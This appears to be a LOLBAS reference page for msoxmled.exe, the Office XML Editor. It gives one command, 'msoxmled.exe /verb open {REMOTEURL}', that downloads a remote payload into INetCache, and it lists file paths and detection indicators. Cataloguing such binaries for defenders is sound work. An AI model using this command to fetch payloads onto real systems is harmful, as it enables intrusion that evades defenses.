LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

msoxmled.exe

View source

Microsoft Office XML Editor, used to handle XML documents in Microsoft Office.

Download
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
00DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Download1

EXAMPLE 01T1105

Downloads payload from remote server using the Microsoft Office XML Editor.

COMMAND
msoxmled.exe /verb open {REMOTEURL}
USE CASE
It will download a remote payload and place it in INetCache.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\msoxmled.exe
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\msoxmled.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

0 resources

Indicators & detection notes

  • IOC

    `msoxmled.exe` making network connections to external URLs

  • IOC

    Unexpected file downloads initiated by `msoxmled.exe`

  • IOC

    Event ID 1 with Image: `msoxmled.exe` and CommandLine: `/verb open`

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Bogac Kaya@bogackayaa
Furkan Celik@frknclk034